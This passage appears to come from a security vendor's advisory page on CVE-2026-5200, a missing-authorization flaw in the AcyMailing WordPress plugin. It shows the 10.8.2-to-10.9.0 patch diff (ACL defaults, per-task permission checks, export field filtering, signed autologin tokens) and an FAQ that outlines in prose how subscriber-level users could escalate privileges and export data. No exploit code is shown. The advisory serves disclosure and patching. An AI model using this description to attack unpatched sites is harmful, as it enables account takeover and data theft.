protected function doToggle(int $id, string $table, string $field, int $newValue): void
{
$updateQuery = 'UPDATE '.acym_secureDBColumn(ACYM_DBPREFIX.$table);
--- a/acymailing/back/Controllers/Users/Export.php
+++ b/acymailing/back/Controllers/Users/Export.php
@@ -47,6 +47,8 @@
$fields = acym_getColumns('user');
+ $fields = array_diff($fields, ['key', 'id']);
+
$fieldClass = new FieldClass();
$customFields = $fieldClass->getAll();
@@ -116,6 +118,10 @@
$fieldClass = new FieldClass();
$customFields = $fieldClass->getAll();
+ $forbiddenFields = ['key', 'id'];
+ $fieldsToExport = array_diff($fieldsToExport, $forbiddenFields);
+ $tableFields = array_diff($tableFields, $forbiddenFields);
+
$customFieldsToExport = [];
$specialFieldsToExport = [];
foreach ($fieldsToExport as $i => $oneField) {
@@ -129,9 +135,6 @@
}
$notAllowedFields = array_diff($fieldsToExport, $tableFields);
- if (in_array('id', $fieldsToExport)) {
- $notAllowedFields[] = 'id';
- }
if (!empty($notAllowedFields)) {
$this->exportError(acym_translationSprintf('ACYM_NOT_ALLOWED_FIELDS', implode(', ', $notAllowedFields), implode(', ', $tableFields)));
}
--- a/acymailing/back/Core/AcymController.php
+++ b/acymailing/back/Core/AcymController.php
@@ -96,7 +96,7 @@
public function call(string $task): void
{
- if (!acym_isAllowed($this->name)) {
+ if (!acym_isAllowed($this->name, $task)) {
acym_enqueueMessage(acym_translation('ACYM_ACCESS_DENIED'), 'warning');
acym_redirect(acym_completeLink('dashboard'));
--- a/acymailing/back/Core/AcymPlugin.php
+++ b/acymailing/back/Core/AcymPlugin.php
@@ -54,8 +54,8 @@
public string $logFilename = '';
protected int $responseCode;
- private $active;
- public $settings;
+ private bool $active;
+ public array $settings = [];
private array $savedSettings = [];
public function __construct()
@@ -859,7 +859,7 @@
case 'repeatable':
if (!empty($field->value)) {
- $values = json_decode($field->value);
+ $values = is_string($field->value) ? json_decode($field->value) : $field->value;
$formattedValues = [];
foreach ($values as $oneSetOfValues) {
$formattedSet = [];
@@ -915,7 +915,7 @@
break;
case 'subform':
if (!empty($field->value)) {
- $rows = json_decode($field->value, true);
+ $rows = is_string($field->value) ? json_decode($field->value, true) : $field->value;
$formattedValues = [];
foreach ($rows as $values) {
@@ -1004,7 +1004,7 @@
}
if (!empty($tag->autologin)) {
- $link .= (strpos($link, '?') ? '&' : '?').'autoSubId={subscriber:id}&subKey={subscriber:key|urlencode}';
+ $link .= (strpos($link, '?') ? '&' : '?').'autoSubId={subscriber:id}&subKey={subscriber:autologin_token|urlencode}';
}
if (is_bool($tag)) {
@@ -1311,6 +1311,10 @@
public function onAcymAddSettings(array &$plugins): void
{
+ if (method_exists($this, 'initSettings')) {
+ $this->initSettings();
+ }
+
foreach ($plugins as $key => $plugin) {
if ($plugin->folder_name === $this->name) {
if (!empty($plugin->settings)) {
--- a/acymailing/back/Core/wordpress/extension.php
+++ b/acymailing/back/Core/wordpress/extension.php
@@ -30,37 +30,37 @@
(object)[
'title' => acym_translation('ACYM_ARTICLE'),
'folder_name' => 'post',
- 'version' => '10.8.2',
+ 'version' => '10.9.0',
'active' => '1',
'category' => 'Content management',
'level' => 'starter',
'uptodate' => '1',
'description' => '- Insert WordPress posts in your emails<br/>- Insert the latest posts of a category in an automatic email',
- 'latest_version' => '10.8.2',
+ 'latest_version' => '10.9.0',
'type' => 'CORE',
],
(object)[
'title' => acym_translation('ACYM_PAGE'),
'folder_name' => 'page',
- 'version' => '10.8.2',
+ 'version' => '10.9.0',
'active' => '1',
'category' => 'Content management',
'level' => 'starter',
'uptodate' => '1',
'description' => '- Insert pages in your emails',
- 'latest_version' => '10.8.2',
+ 'latest_version' => '10.9.0',
'type' => 'CORE',
],
(object)[
'title' => acym_translation('ACYM_CREATE_USER'),
'folder_name' => 'createuser',
- 'version' => '10.8.2',
+ 'version' => '10.9.0',
'active' => '1',
'category' => 'User management',
'level' => 'starter',
'uptodate' => '1',
'description' => '- Automatically creates a site user when an AcyMailing subscriber is created',
- 'latest_version' => '10.8.2',
+ 'latest_version' => '10.9.0',
'type' => 'CORE',
],
];
--- a/acymailing/back/Core/wordpress/miscellaneous.php
+++ b/acymailing/back/Core/wordpress/miscellaneous.php
@@ -42,3 +42,22 @@
return ElementorPlugin::$instance->db->is_built_with_elementor($post->ID);
}
+
+function acym_scheduleTask(array $options, int $taskId = 0): ?int
+{
+ if (wp_next_scheduled($options['name'])) {
+ return 1;
+ }
+
+ return true === wp_schedule_event(time(), $options['taskFrequency'], $options['name']) ? 1 : 0;
+}
+
+function acym_deleteScheduledTask(array $options): bool
+{
+ $timestamp = wp_next_scheduled($options['name']);
+ if ($timestamp) {
+ return true === wp_unschedule_event($timestamp, $options['name']);
+ }
+
+ return true;
+}
--- a/acymailing/back/Core/wordpress/security.php
+++ b/acymailing/back/Core/wordpress/security.php
@@ -256,3 +256,8 @@
{
return true;
}
+
+function acym_getSiteSalt(): string
+{
+ return wp_salt('auth');
+}
--- a/acymailing/back/Core/wplangindexer.php
+++ b/acymailing/back/Core/wplangindexer.php
@@ -1,5 +1,26 @@
<?php
+__('Auto-login token validity (hours)', 'acymailing');
+__('How long an auto-login link remains valid after being generated. Default is 48 hours.', 'acymailing');
+__('Next generation date', 'acymailing');
+__('Filter by', 'acymailing');
+__('Speakers', 'acymailing');
+__('Sponsors', 'acymailing');
+__('Any list', 'acymailing');
+__('Is not currently subscribed', 'acymailing');
+__('Not currently subscribed', 'acymailing');
+__('Manual trigger is not available for this type of automation', 'acymailing');
+__('%s automation(s) triggered successfully', 'acymailing');
+__('%s user-based automation(s) skipped (only time-based automations can be triggered manually)', 'acymailing');
+__('Fields width', 'acymailing');
+__('The default width (65%) is based to scale on the email field size. Even if it doesn't look right in the preview, the field will be the correct size in the final rendering on your website page.', 'acymailing');
+__('Shadow color', 'acymailing');
+__('Shadow blur', 'acymailing');
+__('Shadow horizontal offset', 'acymailing');
+__('Shadow vertical offset', 'acymailing');
+__('Popup position', 'acymailing');
+__('Top-center', 'acymailing');
+__('Bottom-center', 'acymailing');
__('This domain is currently under review. You will be able to send your emails as soon as it gets manually approved, which is done on weekdays and can take up to 1 day.', 'acymailing');
__('Automatic campaign [%s] failed generating a new campaign because an error occurred.', 'acymailing');
__('Next execution date', 'acymailing');
@@ -621,8 +642,10 @@
__('Top', 'acymailing');
__('Bottom', 'acymailing');
__('Top-right', 'acymailing');
+__('Middle-right', 'acymailing');
__('Bottom-right', 'acymailing');
__('Top-left', 'acymailing');
+__('Middle-left', 'acymailing');
__('Bottom-left', 'acymailing');
__('Fourth', 'acymailing');
__('Replace shortcodes', 'acymailing');
--- a/acymailing/back/Helpers/BounceHelper.php
+++ b/acymailing/back/Helpers/BounceHelper.php
@@ -804,8 +804,8 @@
if (!empty($this->blockedUsers)) {
acym_arrayToInteger($this->blockedUsers);
+ $this->userClass->deactivate($this->blockedUsers);
$allUsersId = implode(',', $this->blockedUsers);
- acym_query('UPDATE `#__acym_user` SET `active` = 0 WHERE `id` IN ('.$allUsersId.')');
acym_query('DELETE FROM `#__acym_queue` WHERE `user_id` IN ('.$allUsersId.')');
$this->blockedUsers = [];
}
--- a/acymailing/back/Helpers/MailerHelper.php
+++ b/acymailing/back/Helpers/MailerHelper.php
@@ -816,7 +816,7 @@
if (strpos($trackingSystem, 'acymailing') !== false) {
$isAutologin = false;
- $autologinParams = 'autoSubId=%7Bsubscriber:id%7D&subKey=%7Bsubscriber:key%7Curlencode%7D';
+ $autologinParams = 'autoSubId=%7Bsubscriber:id%7D&subKey=%7Bsubscriber:autologin_token%7Curlencode%7D';
if (strpos($url, $autologinParams) !== false) {
$isAutologin = true;
$url = str_replace(
--- a/acymailing/back/Helpers/PaginationHelper.php
+++ b/acymailing/back/Helpers/PaginationHelper.php
@@ -130,7 +130,7 @@
$currentConfig = $listLimitSelect;
}
- return $currentConfig;
+ return $currentConfig ?: $default;
}
private function getClosest(int $search, array $arr): string
--- a/acymailing/back/Helpers/PluginHelper.php
+++ b/acymailing/back/Helpers/PluginHelper.php
@@ -547,7 +547,7 @@
$dom = new DOMDocument('1.0', 'UTF-8');
$dom->loadHTML(
- '<?xml encoding="UTF-8">' . $newText,
+ '<?xml encoding="UTF-8">'.$newText,
LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD
);
@@ -1134,6 +1134,12 @@
}
if (!empty($outputStructure['options'])) {
+ if (isset($outputStructure['options']['ACYM_OTHER_OPTIONS'])) {
+ $otherOptions = $outputStructure['options']['ACYM_OTHER_OPTIONS'];
+ unset($outputStructure['options']['ACYM_OTHER_OPTIONS']);
+ $outputStructure['options']['ACYM_OTHER_OPTIONS'] = $otherOptions;
+ }
+
foreach ($outputStructure['options'] as $section => $options) {
$formattedOptions = '';
foreach ($options as $label => $option) {
--- a/acymailing/back/Helpers/QueueHelper.php
+++ b/acymailing/back/Helpers/QueueHelper.php
@@ -566,7 +566,7 @@
break;
case 'block':
$message .= ' user '.$userId.' blocked';
- $this->userClass->deactivate($userId);
+ $this->userClass->deactivate([$userId]);
$this->queueClass->deleteQueuedByUserIds([$userId]);
break;
}
--- a/acymailing/back/Helpers/Update/Configuration.php
+++ b/acymailing/back/Helpers/Update/Configuration.php
@@ -122,7 +122,7 @@
$allPref['Starter'] = ACYM_STARTER;
$allPref['Essential'] = ACYM_ESSENTIAL;
$allPref['Enterprise'] = ACYM_ENTERPRISE;
- $allPref['previous_version'] = '10.8.2';
+ $allPref['previous_version'] = '10.9.0';
$allPref['display_built_by'] = acym_level(ACYM_ESSENTIAL) ? 0 : 1;
$allPref['php_overrides'] = 0;
--- a/acymailing/back/Helpers/Update/DefaultData.php
+++ b/acymailing/back/Helpers/Update/DefaultData.php
@@ -45,7 +45,7 @@
$query .= "(9, 'ACYM_REJECTED', 'ACYM_REJECTED_DESC', 9, 'rejected *your *message|email *provider *rejected *it', '["body"]', '["delete_message"]', '[]', 1, 1, 0),";
$query .= "(10, 'ACYM_MAILBOX_DOESNT_EXIST_1', 'ACYM_MAILBOX_DOESNT_EXIST_1_DESC', 10, '(Invalid|no such|unknown|bad|des?activated|inactive|unrouteable) *(mail|destination|recipient|user|address|person)|bad-mailbox|inactive-mailbox|not listed in.{1,20}directory|RecipNotFound|(user|mailbox|address|recipients?|host|account|domain) *(is|has been)? *(error|disabled|failed|unknown|unavailable|not *(found|available)|.{1,30}inactiv)|no *mailbox *here|user does.?n.t have.{0,30}account|no *longer *(active|working|in *use)|mail( *foi)? *desativado|recipient '[^']+' not known', '["subject","body"]', '["save_message","delete_message"]', '["block_user"]', 1, 1, 0),";
$query .= "(11, 'ACYM_MESSAGE_BLOCKED_RECIPIENTS', 'ACYM_MESSAGE_BLOCKED_RECIPIENTS_DESC', 11, 'blocked *by|block *list|look(ed)? *like *spam|spam-related|spam *detected| CXBL | CDRBL | IPBL | URLBL |(unacceptable|banned|offensive|filtered|blocked|unsolicited) *(content|message|e?-?mail)|service refused|(status(-code)?|554) *(:|=)? *5.7.1|administratively *denied|blacklisted *IP|policy *reasons|rejected.{1,10}spam|junkmail *rejected|throttling *constraints|exceeded.{1,10}max.{1,40}hour|comply with required standards|421 RP-00|550 SC-00|550 DY-00|550 OU-00|client *[0-9.]* *blocked *using', '["body"]', '{"0":"delete_message","1":"forward_message","forward_to":"".$forwardEmail.""}', '[]', 1, 1, 0),";
- $query .= "(12, 'ACYM_MAILBOX_DOESNT_EXIST_2', 'ACYM_MAILBOX_DOESNT_EXIST_2_DESC', 12, 'status(-? ?code)? *(:|=)? *(550)? *5.(1.[1-6]|0.0|4.[0123467])|recipient *address *rejected|does *not *like *recipient|recipient *unknown *to *address|email *account *that *you *tried *to *reach *is *disabled|no *mail-enabled *subscriptions', '["subject","body"]', '["save_message","delete_message"]', '["block_user"]', 1, 1, 0),";
+ $query .= "(12, 'ACYM_MAILBOX_DOESNT_EXIST_2', 'ACYM_MAILBOX_DOESNT_EXIST_2_DESC', 12, 'status(-? ?code)? *(:|=)? *(550)? *5.(1.[1-6]|0.0|4.[0123467])|recipient *(address *)?rejected|does *not *like *recipient|recipient *unknown *to *address|email *account *that *you *tried *to *reach *is *disabled|no *mail-enabled *subscriptions', '["subject","body"]', '["save_message","delete_message"]', '["block_user"]', 1, 1, 0),";
$query .= "(13, 'ACYM_DOMAIN_NOT_EXIST', 'ACYM_DOMAIN_NOT_EXIST_DESC', 13, 'No.{1,10}MX *(record|host)|host *does *not *receive *any *mail|bad-domain|connection.{1,10}mail.{1,20}fail|domain.{1,10}not *exist|fail.{1,10}establish *connection|Unable *to *lookup *DNS *for|Unable *to *connect *to *remote *host', '["subject","body"]', '["save_message","delete_message"]', '["block_user"]', 1, 1, 0),";
$query .= "(14, 'ACYM_TEMPORARY_FAILURES', 'ACYM_TEMPORARY_FAILURES_DESC', 14, 'has.*been.*delayed|delayed *mail|message *delayed|message-expired|temporar(il)?y *(failure|unavailable|disable|offline|unable)|deferred|delayed *([0-9]*) *(hour|minut)|possible *mail *loop|too *many *hops|delivery *time *expired|Action.php: *delayed|status(-code)? *(:|=)? *4.4.6|will continue to be attempted|unable to deliver in.*Status: 4.4.7|Connection *closed *unexpectedly', '["subject","body"]', '["save_message","delete_message"]', '["block_user"]', 1, 1, 3),";
$query .= "(15, 'ACYM_FAILED_PERM', 'ACYM_FAILED_PERM_DESC', 15, 'failed *permanently|permanent.{1,20}(failure|error)|not *accepting *(any)? *mail|does *not *exist|no *valid *route|delivery *failure', '["subject","body"]', '["save_message","delete_message"]', '["block_user"]', 1, 1, 0),";
--- a/acymailing/back/Helpers/Update/Patchv10.php
+++ b/acymailing/back/Helpers/Update/Patchv10.php
@@ -4,6 +4,7 @@
use AcyMailingClassesCampaignClass;
use AcyMailingClassesConfigurationClass;
+use AcyMailingControllersConfigurationController;
use AcyMailingHelpersBounceHelper;
trait Patchv10
@@ -268,4 +269,54 @@
AND `user`.'.$acymCmsUserVars->id.' IS NULL'
);
}
+
+ private function updateFor1090(ConfigurationClass $config): void
+ {
+ if ($this->isPreviousVersionAtLeast('10.9.0')) {
+ return;
+ }
+
+ $frequency = (int)$config->get('cron_frequency');
+
+ if (
+ acym_level(ACYM_ESSENTIAL)
+ && $config->get('queue_type') !== 'manual'
+ && !empty($frequency)
+ && $frequency < 900
+ && acym_isLicenseValidWeekly()
+ ) {
+ $taskId = acym_scheduleTask(
+ [
+ 'title' => 'AcyMailing – Automated tasks',
+ 'type' => 'plg_task_requests_task_get',
+ 'frequencyInMinutes' => $frequency / 60,
+ 'name' => ConfigurationController::CRON_TASK_NAME,
+ 'taskFrequency' => 'every_minute',
+ 'config' => [
+ 'cron_security' => $config->get('cron_security'),
+ 'cron_key' => $config->get('cron_key'),
+ ],
+ ]
+ );
+
+ if (!empty($taskId) && ACYM_CMS === 'joomla') {
+ $config->saveConfig(['scheduled_task_id' => $taskId]);
+ }
+ }
+
+ $this->updateQuery('ALTER TABLE `#__acym_user` ADD COLUMN `deactivation_date` DATETIME DEFAULT NULL');
+
+ $aclPages = acym_getPagesForAcl();
+
+ $configToSave = [];
+ foreach ($aclPages as $page => $title) {
+ if ($config->get('acl_'.$page) === 'all') {
+ $configToSave['acl_'.$page] = ACYM_ADMIN_GROUP;
+ }
+ }
+
+ if (!empty($configToSave)) {
+ $config->saveConfig($configToSave);
+ }
+ }
}
--- a/acymailing/back/Helpers/Update/SQLPatch.php
+++ b/acymailing/back/Helpers/Update/SQLPatch.php
@@ -93,6 +93,7 @@
$this->updateFor1065();
$this->updateFor1070();
$this->updateFor1082();
+ $this->updateFor1090($config);
}
public function checkDB(): void
--- a/acymailing/back/Helpers/UpdateHelper.php
+++ b/acymailing/back/Helpers/UpdateHelper.php
@@ -18,10 +18,10 @@
use UpdatePatchv10;
const FIRST_EMAIL_NAME_KEY = 'ACYM_FIRST_EMAIL_NAME';
- const BOUNCE_VERSION = 7;
+ const BOUNCE_VERSION = 8;
private string $level = 'starter';
- private string $version = '10.8.2';
+ private string $version = '10.9.0';
private string $previousVersion;
private bool $isUpdating = false;
--- a/acymailing/back/Helpers/global/addon.php
+++ b/acymailing/back/Helpers/global/addon.php
@@ -42,7 +42,7 @@
if (!empty($onePlugin->errors)) {
$onePlugin->errorCallback();
}
- } catch (Exception $e) {
+ } catch (Throwable $e) {
acym_logError('An error occurred when triggering the method '.$method.': '.$e->getMessage());
}
}
--- a/acymailing/back/Helpers/global/security.php
+++ b/acymailing/back/Helpers/global/security.php
@@ -190,10 +190,10 @@
acym_header('Expires: Wed, 17 Sep 1975 21:32:10 GMT');
}
-function acym_isAllowed(string $controller): bool
+function acym_isAllowed(string $controller, string $task = ''): bool
{
$config = acym_config();
- $globalAccess = $config->get('acl_'.$controller, 'all');
+ $globalAccess = $config->get('acl_'.$controller, ACYM_ADMIN_GROUP);
if ($globalAccess === 'all') {
return true;
}
@@ -217,6 +217,21 @@
}
}
+ if (in_array($task, ['countResultsTotal', 'countGlobalBySegmentId', 'countResults']) && acym_isAllowed('campaigns')) {
+ return true;
+ }
+
+ if (
+ $task === 'getOption'
+ && (
+ acym_isAllowed('campaigns')
+ || acym_isAllowed('mails')
+ || acym_isAllowed('plugins')
+ )
+ ) {
+ return true;
+ }
+
return false;
}
@@ -242,3 +257,42 @@
return $expirationDate >= time();
}
+
+function acym_generateAutologinToken(int $subId, string $subKey): string
+{
+ $timestamp = time();
+ $payload = $subId . '|' . $timestamp;
+ $secret = $subKey . acym_getSiteSalt();
+ $signature = hash_hmac('sha256', $payload, $secret);
+
+ return dechex($timestamp) . '.' . $signature;
+}
+
+function acym_verifyAutologinToken(int $subId, string $token, string $storedKey): bool
+{
+ $parts = explode('.', $token, 2);
+ if (count($parts) !== 2) {
+ return false;
+ }
+
+ $timestamp = @hexdec($parts[0]);
+ $signature = $parts[1];
+
+ if (empty($timestamp) || $timestamp <= 0) {
+ return false;
+ }
+
+ $config = acym_config();
+ $maxAgeHours = intval($config->get('autologin_token_duration', 48));
+ $maxAge = $maxAgeHours * 3600;
+
+ if ((time() - $timestamp) > $maxAge) {
+ return false;
+ }
+
+ $payload = $subId . '|' . $timestamp;
+ $secret = $storedKey . acym_getSiteSalt();
+ $expectedSignature = hash_hmac('sha256', $payload, $secret);
+
+ return hash_equals($expectedSignature, $signature);
+}
--- a/acymailing/back/Helpers/global/view.php
+++ b/acymailing/back/Helpers/global/view.php
@@ -420,6 +420,7 @@
'ACYM_SELECT_A_PAGE',
'ACYM_DEDICATED_SENDING_PROCESS_WARNING',
'ACYM_GET_MY_API_KEY',
+ 'ACYM_DOMAIN_UNDER_REVIEW',
];
foreach ($keysToLoad as $oneKey) {
--- a/acymailing/back/Libraries/Pear/Error.php
+++ b/acymailing/back/Libraries/Pear/Error.php
@@ -120,7 +120,7 @@
if ($this->mode & PEAR_ERROR_EXCEPTION) {
trigger_error("PEAR_ERROR_EXCEPTION is obsolete, use class PEAR_Exception for exceptions", E_USER_WARNING);
- eval('$e = new Exception($this->message, $this->code);throw($e);');
+ throw new Exception($this->message, $this->code);
}
}
--- a/acymailing/back/Partial/forms/fields.php
+++ b/acymailing/back/Partial/forms/fields.php
@@ -38,5 +38,29 @@
<?php echo '#acym_fulldiv_'.$form->form_tag_name.' '; ?>.acym__subscription__form__fields > *{
margin: <?php echo in_array($form->type, [$form->formClass::SUB_FORM_TYPE_FOOTER, $form->formClass::SUB_FORM_TYPE_HEADER]) ? 'auto 10px' : '10px auto'; ?> !important;
}
+
+ <?php echo '#acym_fulldiv_'.$form->form_tag_name.' '; ?>.acym__subscription__form__fields .onefield{
+ width: 100%;
+ box-sizing: border-box
+ }
+
+ <?php echo '#acym_fulldiv_'.$form->form_tag_name.' '; ?>.acym__subscription__form__fields .onefield input:not([type="radio"]):not([type="checkbox"]):not([type="hidden"]),
+ <?php echo '#acym_fulldiv_'.$form->form_tag_name.' '; ?>.acym__subscription__form__fields .onefield select,
+ <?php echo '#acym_fulldiv_'.$form->form_tag_name.' '; ?>.acym__subscription__form__fields .onefield textarea{
+ display: block;
+ width: <?php echo intval($form->settings['fields']['fields_width']) ?? 100; ?>%;
+ margin-left: auto;
+ margin-right: auto;
+ margin-bottom: 1rem;
+ box-sizing: border-box
+ }
+
+ @media screen and (max-width: 768px){
+ <?php echo '#acym_fulldiv_'.$form->form_tag_name.' '; ?>.acym__subscription__form__fields .onefield input:not([type="radio"]):not([type="checkbox"]):not([type="hidden"]),
+ <?php echo '#acym_fulldiv_'.$form->form_tag_name.' '; ?>.acym__subscription__form__fields .onefield select,
+ <?php echo '#acym_fulldiv_'.$form->form_tag_name.' '; ?>.acym__subscription__form__fields .onefield textarea{
+ width: 100%
+ }
+ }
</style>
</div>
--- a/acymailing/back/Partial/forms/popup.php
+++ b/acymailing/back/Partial/forms/popup.php
@@ -46,16 +46,33 @@
</form>
</div>
</div>
+<?php
+$popupPosition = $form->settings['display']['popup_position'] ?? 'center';
+$positionMap = [
+ 'top_left' => 'top: 20px; left: 20px;',
+ 'top_center' => 'top: 20px; left: 50%; transform: translateX(-50%);',
+ 'top_right' => 'top: 20px; right: 20px;',
+ 'middle_left' => 'top: 50%; left: 20px; transform: translateY(-50%);',
+ 'middle_right' => 'top: 50%; right: 20px; transform: translateY(-50%);',
+ 'bottom_left' => 'bottom: 20px; left: 20px;',
+ 'bottom_center' => 'bottom: 20px; left: 50%; transform: translateX(-50%);',
+ 'bottom_right' => 'bottom: 20px; right: 20px;',
+];
+$positionCss = $positionMap[$popupPosition] ?? 'top: 50%; left: 50%; transform: translate(-50%, -50%);';
+?>
<style>
<?php echo '#acym_fulldiv_'.$form->form_tag_name; ?>.acym__subscription__form__popup__overlay{
display: <?php echo $edition ? 'inline' : 'none'; ?>;
+ <?php if ($popupPosition === 'center') { ?>
position: fixed;
top: 0;
bottom: 0;
right: 0;
left: 0;
background-color: rgba(200, 200, 200, .5);
- z-index: 999999;
+ <?php } else { ?>
+ position: static;
+ <?php } ?> z-index: 999999;
}
<?php echo '#acym_fulldiv_'.$form->form_tag_name.' '; ?>.acym__subscription__form__popup__close{
@@ -69,16 +86,15 @@
<?php echo '#acym_fulldiv_'.$form->form_tag_name.' '; ?>.acym__subscription__form__popup{
position: fixed;
- left: 50%;
- transform: translate(-50%, -50%);
- top: 50%;
- padding: <?php echo $form->settings['style']['padding']['height']; ?>px <?php echo $form->settings['style']['padding']['width']; ?>px;
+ <?php echo $positionCss; ?> padding: <?php echo $form->settings['style']['padding']['height']; ?>px <?php echo $form->settings['style']['padding']['width']; ?>px;
background-color: <?php echo $form->settings['style']['background_color']; ?>;
color: <?php echo $form->settings['style']['text_color']; ?> !important;
background-image: url("<?php echo $form->settings['style']['background_image']; ?>");
background-size: <?php echo $form->settings['style']['background_size']; ?>;
background-position: <?php echo str_replace('_', ' ', $form->settings['style']['background_position']); ?>;
background-repeat: <?php echo $form->settings['style']['background_repeat']; ?>;
+ border-radius: <?php echo intval($form->settings['style']['border_radius'] ?? 0); ?>px;
+ box-shadow: <?php echo intval($form->settings['style']['shadow_x'] ?? 0); ?>px <?php echo intval($form->settings['style']['shadow_y'] ?? 0); ?>px <?php echo intval($form->settings['style']['shadow_blur'] ?? 0); ?>px<?php echo $form->settings['style']['shadow_color'] ?? 'rgba(0,0,0,0.2)'; ?>;
z-index: 999999;
text-align: center;
display: flex;
@@ -173,11 +189,13 @@
document.cookie = 'acym_form_<?php echo $form->id; ?>=' + Date.now() + ';expires=' + expirationDate.toUTCString() + ';path=/';
}
+ <?php if ($popupPosition === 'center') { ?>
acym_popupForm.addEventListener('click', function (event) {
if (event.target.closest('.acym__subscription__form__popup') === null) {
acym_closePopupform<?php echo $form->form_tag_name; ?>(this);
}
});
+ <?php } ?>
document.querySelector('#acym_fulldiv_<?php echo $form->form_tag_name; ?> .acym__subscription__form__popup__close').addEventListener('click', function (event) {
acym_closePopupform<?php echo $form->form_tag_name; ?>(event.target.closest('.acym__subscription__form__popup__overlay'));
});
--- a/acymailing/back/Partial/joomla/media_modal.php
+++ b/acymailing/back/Partial/joomla/media_modal.php
@@ -15,7 +15,7 @@
data-acym-src="<?php echo $mediaUrl; ?>"
data-acym-src-image="<?php echo $mediaUrlImage; ?>"
data-acym-is-j4="<?php echo ACYM_J40 ? '1' : '0'; ?>"
- src="<?php echo $mediaUrl; ?>"
+ src="about:blank"
frameborder="0">
</iframe>
<div id="acym__upload__modal__joomla-image__ui__actions" class="cell grid-x grid-margin-x align-right" style="display: none">
--- a/acymailing/back/Types/AclType.php
+++ b/acymailing/back/Types/AclType.php
@@ -30,7 +30,7 @@
{
$name = 'acl_'.$page;
- $selected = explode(',', $this->config->get($name, 'all'));
+ $selected = explode(',', $this->config->get($name, ACYM_ADMIN_GROUP));
return acym_selectMultiple($this->groups, 'config['.$name.']', $selected, ['class' => 'acym__select']);
}
--- a/acymailing/back/Views/Automation/tmpl/listing.php
+++ b/acymailing/back/Views/Automation/tmpl/listing.php
@@ -34,6 +34,7 @@
$actions = [
'setActive' => acym_translation('ACYM_ENABLE'),
'setInactive' => acym_translation('ACYM_DISABLE'),
+ 'triggerAutomation' => acym_translation('ACYM_TRIGGER'),
'duplicate' => acym_translation('ACYM_DUPLICATE'),
'delete' => acym_translation('ACYM_DELETE'),
];
@@ -79,15 +80,20 @@
<input id="checkbox_all" type="checkbox" name="checkbox_all">
</div>
<div class="grid-x medium-auto small-11 cell acym__listing__header__title__container">
+ <div class="medium-1 small-1 hide-for-small-only cell acym__listing__header__title">
+ </div>
<div class="medium-5 small-9 cell acym__listing__header__title">
<?php echo acym_translation('ACYM_AUTOMATION'); ?>
</div>
<div class="medium-auto hide-for-small-only cell acym__listing__header__title">
<?php echo acym_translation('ACYM_DESCRIPTION'); ?>
</div>
- <div class="xxlarge-2 medium-3 text-center hide-for-small-only cell acym__listing__header__title">
+ <div class="medium-2 text-center hide-for-small-only cell acym__listing__header__title">
<?php echo acym_translation('ACYM_ACTIVE'); ?>
</div>
+ <div class="medium-2 text-center hide-for-small-only cell acym__listing__header__title">
+ <?php echo acym_translation('ACYM_ACTION'); ?>
+ </div>
<div class="medium-1 text-center hide-for-small-only cell acym__listing__header__title">
<?php echo acym_translation('ACYM_ID'); ?>
</div>
@@ -102,13 +108,13 @@
name="elements_checked[]"
value="<?php echo acym_escape($automation->id); ?>">
</div>
- <div class="cell small-1 acym_vcenter align-center acym__automation__listing__handle acym__listing__handle">
- <div class="grabbable acym__sortable__listing__handle grid-x">
- <i class="acymicon-ellipsis-h cell acym__color__dark-gray"></i>
- <i class="acymicon-ellipsis-h cell
Frequently Asked Questions
What is CVE-2026-5200?
Overview of the vulnerabilityCVE-2026-5200 is a high-severity vulnerability in the AcyMailing plugin for WordPress, present in versions up to and including 10.8.2. It is classified as a missing authorization flaw, allowing authenticated users with subscriber-level access to escalate their privileges and perform unauthorized actions.
How does this vulnerability work?
Mechanism of exploitationThe vulnerability arises from the plugin not properly verifying user permissions when accessing certain AJAX actions. Attackers can exploit this by sending crafted requests to modify configurations, export sensitive data, and potentially take over administrator accounts.
Who is affected by CVE-2026-5200?
Identifying vulnerable usersAny WordPress site using the AcyMailing plugin version 10.8.2 or earlier is at risk. This includes sites where authenticated users have subscriber-level access or higher, as they can exploit the vulnerability to gain elevated privileges.
How can I check if my site is vulnerable?
Steps for verificationTo check if your site is vulnerable, verify the version of the AcyMailing plugin installed. If it is version 10.8.2 or earlier, your site is at risk. Additionally, review user roles and permissions to identify any low-privilege accounts that could be exploited.
How can I fix CVE-2026-5200?
Updating the pluginThe vulnerability has been patched in AcyMailing version 10.9.0. It is recommended to update the plugin to this version or later to mitigate the risk associated with this vulnerability.
What if I cannot update the plugin immediately?
Mitigation strategiesIf immediate updates are not possible, consider disabling the AcyMailing plugin until a patch can be applied. Additionally, review user roles and limit access to authenticated users to reduce the risk of exploitation.
What does a CVSS score of 8.8 indicate?
Understanding risk levelsA CVSS score of 8.8 indicates a high severity vulnerability, suggesting that exploitation could lead to significant impacts such as unauthorized access or data exposure. Administrators should prioritize addressing such vulnerabilities.
What is a proof of concept (PoC) for this vulnerability?
Demonstrating the exploitThe proof of concept demonstrates how an attacker can use a series of crafted POST requests to escalate privileges and export sensitive data. It outlines the steps needed to exploit the vulnerability, showcasing the ease of executing the attack.
What actions can an attacker perform if they exploit this vulnerability?
Potential impacts of exploitationAn attacker can modify AcyMailing configurations, export sensitive subscriber data, and potentially take over administrator accounts by leveraging known email addresses. This can lead to full control over the WordPress site.
How can I secure my WordPress site against such vulnerabilities?
Best practices for securityTo secure your WordPress site, regularly update all plugins and themes, implement strong user role management, and monitor for unusual activity. Additionally, consider using security plugins that can help identify and mitigate vulnerabilities.
What should I do if I suspect my site has been compromised?
Response to a potential breachIf you suspect your site has been compromised, immediately change all user passwords, review user accounts for unauthorized changes, and check logs for suspicious activity. It is advisable to restore from a clean backup and conduct a thorough security audit.
Where can I find more information about CVE-2026-5200?
Resources for further readingMore information about CVE-2026-5200 can be found in the official CVE database, security advisories from AcyMailing, and detailed vulnerability reports from cybersecurity research organizations.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






